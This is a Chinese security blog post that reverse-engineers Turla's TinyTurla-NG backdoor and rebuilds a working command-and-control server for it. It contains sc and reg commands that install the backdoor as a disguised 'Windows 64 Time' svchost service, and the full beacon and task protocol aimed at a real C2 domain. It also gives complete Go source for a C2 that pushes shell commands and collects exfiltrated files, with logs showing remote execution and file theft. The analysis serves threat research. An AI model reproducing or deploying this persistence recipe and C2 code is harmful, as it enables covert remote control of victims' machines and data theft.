逆向开发Turla组织TinyTurla-NG新后门C&C站点 | xxx逆向开发Turla组织TinyTurla-NG新后门C&C站点 – xxx
菜单

逆向开发Turla组织TinyTurla-NG新后门C&C站点

二月 28, 2024 - 安全维基
文章首发地址:
https://xz.aliyun.com/t/13882
文章首发作者:
T0daySeeker

概述

在上一篇《逆向开发Turla组织TinyTurla后门控制端》文章中,笔者先从TinyTurla后门入手,对TinyTurla后门开展了相关研究分析工作,通过对TinyTurla后门的通信模型进行详细的剖析,模拟构建了TinyTurla后门的控制端。

因此,在本篇文章中,笔者将按照上一篇文章的研究思路,尝试对思科Talos团队《TinyTurla Next Generation – Turla APT spies on Polish NGOs》( https://blog.talosintelligence.com/tinyturla-next-generation/ )报告中提到的Turla组织使用的新后门(TinyTurla-NG)进行研究分析,并从如下角度开展研究工作:

  • TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动,因此先尝试对TinyTurla-NG新后门的运行场景进行复现;
  • TinyTurla-NG新后门的功能代码较TinyTurla后门复杂一些,通过对TinyTurla-NG新后门开展逆向分析工作,对其样本功能及运行逻辑进行详细剖析梳理;
  • 通过动态调试,研究分析TinyTurla-NG新后门的通信模型;
  • 尝试构建TinyTurla-NG新后门C&C站点,模拟复现TinyTurla-NG新后门的远程控制行为及恶意流量。

相关报告截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

新后门C&C站点效果

通过构建TinyTurla-NG新后门C&C站点程序,我们可模拟实现TinyTurla-NG新后门的使用场景。

C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

逆向开发Turla组织TinyTurla-NG新后门C&C站点

TinyTurla-NG新后门上线后,即可开展正常的远控行为,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

通信过程中C&C站点中内置的远控指令如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

通信过程中C&C站点记录的远控指令响应结果如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

通信过程中C&C站点对窃取的文件内容进行保存,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&C站点

通信过程中产生的http通信数据包截图如下:(「将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问」

逆向开发Turla组织TinyTurla-NG新后门C&C站点

相关操作命令如下:

F:GolandProjectsawesomeProject3>awesomeProject3.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

307b5c9a Client Ready
[GIN] 2024/02/26 - 13:43:15 |[97;42m 200 [0m|      1.0621ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:25 |[97;42m 200 [0m|       1.686ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:35 |[97;42m 200 [0m|      2.0395ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
[GIN] 2024/02/26 - 13:43:36 |[97;42m 200 [0m|      1.5504ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:42 |[97;42m 200 [0m|      1.8533ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:Windowssystem32>chcp 437 > NUL

C:Windowssystem32>ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth ��������:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::5c38:ccd5:e424:fdfc%11
   IPv4 Address. . . . . . . . . . . : 192.168.153.130
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{8B288427-3826-4FFD-BF89-490C950BBA8A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.localdomain:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::5efe:192.168.153.130%15
   Default Gateway . . . . . . . . . :

C:Windowssystem32>exit

[GIN] 2024/02/26 - 13:43:43 |[97;42m 200 [0m|     15.2158ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:50 |[97;42m 200 [0m|      2.0944ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:Windowssystem32>chcp 437 > NUL

C:Windowssystem32>calc.exe

C:Windowssystem32>exit

[GIN] 2024/02/26 - 13:43:53 |[97;42m 200 [0m|      1.0216ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m|      1.9848ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:Windowssystem32>chcp 437 > NUL

C:Windowssystem32>dir C:UsersadminDesktop
 Volume in drive C has no label.
 Volume Serial Number is DEA8-B705

 Directory of C:UsersadminDesktop

2024/02/26  11:31    <DIR>          .
2024/02/26  11:31    <DIR>          ..
2024/02/22  23:13               507 111.txt
2011/09/29  09:22            32,256 apateDNS.exe
2019/01/23  23:23            45,272 nc64.exe
2023/11/27  14:41             2,182 Process Hacker 2.lnk
2023/11/27  14:39    <DIR>          snapshot_2023-11-18_02-28
2023/11/27  14:40             1,315 x96dbg.exe - ????.lnk
              15 File(s)     14,600,939 bytes
               4 Dir(s)  49,213,665,280 bytes free

C:Windowssystem32>exit

[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m|      1.9138ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m|       652.7µs | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"

[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m|         521µs | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m|      3.0731ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] File C:UsersadminDesktop111.txt posted

[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m|      1.4707ms | 192.168.153.130 |[97;46m POST    [0m "/wp-includes/blocks/rss.old.php"
307b5c9a

新后门运行场景复现

根据报告中的描述,TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动。因此,为了能够快速对TinyTurla-NG新后门的运行场景进行复现,我们可以模仿《逆向开发Turla组织TinyTurla后门控制端》文章中针对TinyTurla后门的运行场景复现方法,对TinyTurla-NG新后门的运行场景进行复现。

先将TinyTurla-NG新后门重命名为w64time.dll,然后在cmd中执行如下指令,即可对TinyTurla-NG新后门的运行场景进行有效复现:

copy "w64time.dll" %systemroot%system32

sc create W64Time binPath= "c:WindowsSystem32svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"

reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionSvchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLMSYSTEMCurrentControlSetServicesW64TimeParameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%system32w64time.dll" /f

sc start W64Time

相关执行效果截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

样本功能分析

通过对TinyTurla-NG新后门进行逆向分析,梳理TinyTurla-NG新后门运行逻辑如下:

  • 服务成功启动后,将调用ServiceMain函数,在ServiceMain函数中,将调用beginthreadex函数创建主感染线程;
  • 在主感染线程中,样本将创建两个线程:
    • 第一个线程主要用于向C&C发起网络通信;
    • 第二个线程主要用于对第一个线程中接收的远控命令进行执行;

创建主感染线程

服务成功启动后,样本将调用ServiceMain函数。在ServiceMain函数中,样本将通过调用beginthreadex函数来创建主感染线程。beginthreadex函数的第四个函数参数为线程入口函数参数,在此样本中传入的是一个结构体,最后通过在入口函数中调用结构体中的函数地址以实现线程执行。

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

初始化配置结构体

进入主感染线程后,样本将执行一系列初始化操作,对后续代码执行过程中所需的配置信息进行初始化。

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

检测powershell版本及windows版本

在开始远控功能时,样本还将尝试获取powershell版本及windows版本信息,若powershell版本大于等于5,则后续将调用powershell用于执行远控shell指令。

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

线程一

线程一主要用于向C&C发起网络通信,发起网络通信使用的API为WINHTTP,相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

线程二

线程二主要用于对第一个线程中接收的远控命令进行执行,相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

远控指令

通过分析,发现TinyTurla-NG新后门支持多个远控指令,远控指令外的命令将以shell方式进行执行。

特殊指令如下:

指令备注
changepoint检索在受感染端点上执行命令的结果
timeout重新配置后门向C&C发起任务请求的间隔休眠时间
changeshell切换执行shell的方式,在powershell与cmd之间切换
get从C&C处获取文件并保存
post上传文件至C&C处
killme删除文件

执行shell命令

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

timeout指令

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

post指令

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

killme指令

相关代码截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

外联地址

通过分析,发现TinyTurla-NG新后门的外联地址是以明文形式存放于样本文件中的,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

C&C思考

通过对TinyTurla-NG新后门进行逆向分析,我们发现此样本的C&C地址为WEB服务网站。

结合思科报告中关于C&C的描述,我们发现TinyTurla-NG新后门的部分C&C地址存在文件路径泄露,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

基于文件路径泄露信息,我们得知在C&C上存在多个日志文件,若能够获取相关日志文件,我们即可更进一步的了解整个攻击活动的情况:

  • 基于文件路径泄露信息,我们可通过空间测绘平台或直接扫描探测,挖掘扩线TinyTurla-NG新后门的C&C地址;
  • 基于log.txt文件内容,我们可获取所有受控IP信息;
  • 基于tasks.txt、result.txt文件内容,我们可复现还原攻击者在攻击活动中的所有窃密行为;

后门通信模型分析

通过对TinyTurla-NG新后门通信模型进行分析,发现TinyTurla-NG新后门的HTTP请求主要分为如下情况:

  • POST请求中,表单数据名称为”result”:主要用于发送上线认证信标及命令执行后的响应数据;
  • POST请求中,表单数据名称为”gettask”:主要用于请求获取远控指令;
  • POST请求中,表单数据名称为”file”:主要用于发送文件内容;
  • POST响应请求中,实际远控指令前需要携带“rsp:”字符串;

相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

上线认证

通过分析,发现TinyTurla-NG新后门运行后,将首先发送上线认证数据,便于C&C对受控主机的远控行为数据进行管理。在上线认证通信中,后门将发送“Client Ready”字符串作为信标进行发送。

详细情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 190
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

Client Ready
-----
....  

#
**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:35:54 GMT
Content-Length: 4

rsp:

远控功能

通过分析,发现TinyTurla-NG新后门支持多种远控指令,通信模型结构主要有两种类型:

  • 远控指令为除上传文件、下载文件外的常规指令;
  • 远控指令为上传文件、下载文件类指令;

常规指令

常规指令的通信模型情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain

-----
.a

#
**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:01 GMT
Content-Length: 15

rsp:timeout 1 1

#
**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 267
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

[+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
-----
....

#
**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:10 GMT
Content-Length: 4

rsp:

上传文件、下载文件类指令

上传文件、下载文件类指令的通信模型情况如下:

#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain

-----
.
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:36 GMT
Content-Length: 39

rsp:post C:UsersadminDesktop111.txt
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 738
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="file"; filename="111.txt"; filename*=utf-8''111.txt
Content-Type: application/octet-stream

package main

import (
 "fmt"
 "os"
)

func main() {
 filePath := "test.txt"

 // ..............................................
 file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
 if err != nil {
  fmt.Println("............:", err)
  return
 }
 defer file.Close()

 // ........
 content := "................n"
 _, err = file.WriteString(content)
 if err != nil {
  fmt.Println("............:", err)
  return
 }

 fmt.Println("....................")
}
-----
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:40 GMT
Content-Length: 4

rsp:
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 225
Host: jeepcarlease.com

---
Content-Disposition: form-data;name="id"
Content-Type: text/plain

307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain

[+] File C:UsersadminDesktop111.txt posted

-----
.
..
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:42 GMT
Content-Length: 4

rsp:

模拟构建C&C站点

在笔者模拟构建TinyTurla-NG新后门C&C站点的过程中,笔者最初准备尝试使用自签名证书构建一个HTTPS站点,但在实际构建过程中,笔者发现TinyTurla-NG新后门代码中并未像TinyTurla后门调用了WinHttpSetOption函数对证书错误信息进行忽略,因此,TinyTurla-NG新后门无法成功访问使用自签名证书构建的HTTPS站点。

通过实际访问TinyTurla-NG新后门的C&C站点,发现其C&C站点的证书信息确实是正常的证书信息,相关截图如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

「由于笔者没有有效证书文件,因此笔者只能尝试模拟构建一个HTTP站点(将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问),若大家感兴趣且手头有有效证书文件,可以尝试将代码修改为HTTPS站点。」

在这里,笔者将使用golang语言模拟构建TinyTurla-NG新后门C&C站点,详细情况如下:

代码结构如下:

逆向开发Turla组织TinyTurla-NG新后门C&amp;C站点

  • tasks.txt
rsp:timeout 1 1
rsp:ipconfig
rsp:calc.exe
rsp:dir C:UsersadminDesktop
rsp:post C:UsersadminDesktop111.txt
rsp:whoami
  • main.go
package main

import (
 "awesomeProject3/common"
 "github.com/gin-gonic/gin"
 "os"
)

func main() {
 init_tasks()

 r := gin.Default()
 // 设置GIN模式为release模式
 gin.SetMode(gin.ReleaseMode)
 r.GET("/", common.HandleRoot)
 r.POST("/wp-includes/blocks/rss.old.php", common.Handle_POST)
 r.POST("/wordpress/wp-includes/rss.old.php", common.Handle_POST)
 r.Run(":80")
}

func init_tasks() {
 os.Remove("./conf/tmp.txt")
 common.WriteFile("./conf/tmp.txt""0")
}
  • common.go
package common

import (
 "bufio"
 "fmt"
 "github.com/gin-gonic/gin"
 "io"
 "io/ioutil"
 "os"
 "strconv"
)

func HandleRoot(c *gin.Context) {
 c.String(200"Hello, World!")
}

func Handle_POST(c *gin.Context) {
 str_id := c.PostForm("id")
 str_result := c.PostForm("result")
 file, header, _ := c.Request.FormFile("file")
 fmt.Println(str_id, str_result)
 if str_result != "" {
  WriteFile_A("./conf/"+str_id+".txt""**********output********rn"+str_result+"rn")
  c.String(200"rsp:")
 } else if header != nil {
  defer file.Close()
  // 创建一个新文件
  out, _ := os.Create("./conf/post_" + header.Filename)
  defer out.Close()
  // 将上传的文件内容拷贝到新文件中
  _, _ = io.Copy(out, file)
  c.String(200"rsp:")
 } else if str_result == "" {
  str, _ := ReadFile("./conf/tmp.txt")
  num, _ := strconv.Atoi(str)
  strs := FileToSlice("./conf/tasks.txt")
  if num+1 < len(strs) {
   os.Remove("./conf/tmp.txt")
   WriteFile("./conf/tmp.txt", strconv.Itoa(num+1))
   c.String(200, strs[num])
  } else {
   c.String(200"rsp:")
  }
 }
}

func FileToSlice(file string) []string {
 fil, _ := os.Open(file)
 defer fil.Close()
 var lines []string
 scanner := bufio.NewScanner(fil)
 for scanner.Scan() {
  lines = append(lines, scanner.Text())
 }
 return lines
}

// ReadFile is used to read a given file and return its data as a string.
func ReadFile(filename string) (string, error) {
 f, err := os.Open(filename)
 if err != nil {
  return "", err
 }
 defer f.Close()

 b, err := ioutil.ReadAll(f)
 if err != nil {
  return "", err
 }

 return string(b), nil
}

// WriteFile is used to write data into a given file.
func WriteFile(filename, data string) error {
 file, err := os.Create(filename)
 if err != nil {
  return err
 }
 defer file.Close()

 _, err = io.WriteString(file, data)
 if err != nil {
  return err
 }

 return nil
}

func checkFileIsExist(filename string) bool {
 var exist = true
 if _, err := os.Stat(filename); os.IsNotExist(err) {
  exist = false
 }
 return exist
}

func WriteFile_A(filename string, buffer string) {
 var f *os.File
 var err error

 if checkFileIsExist(filename) {
  f, err = os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
 } else {
  f, err = os.Create(filename)
 }
 _, err = io.WriteString(f, buffer)
 if err != nil {
  fmt.Println(err.Error())
  return
 }
 f.Close()
}



Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51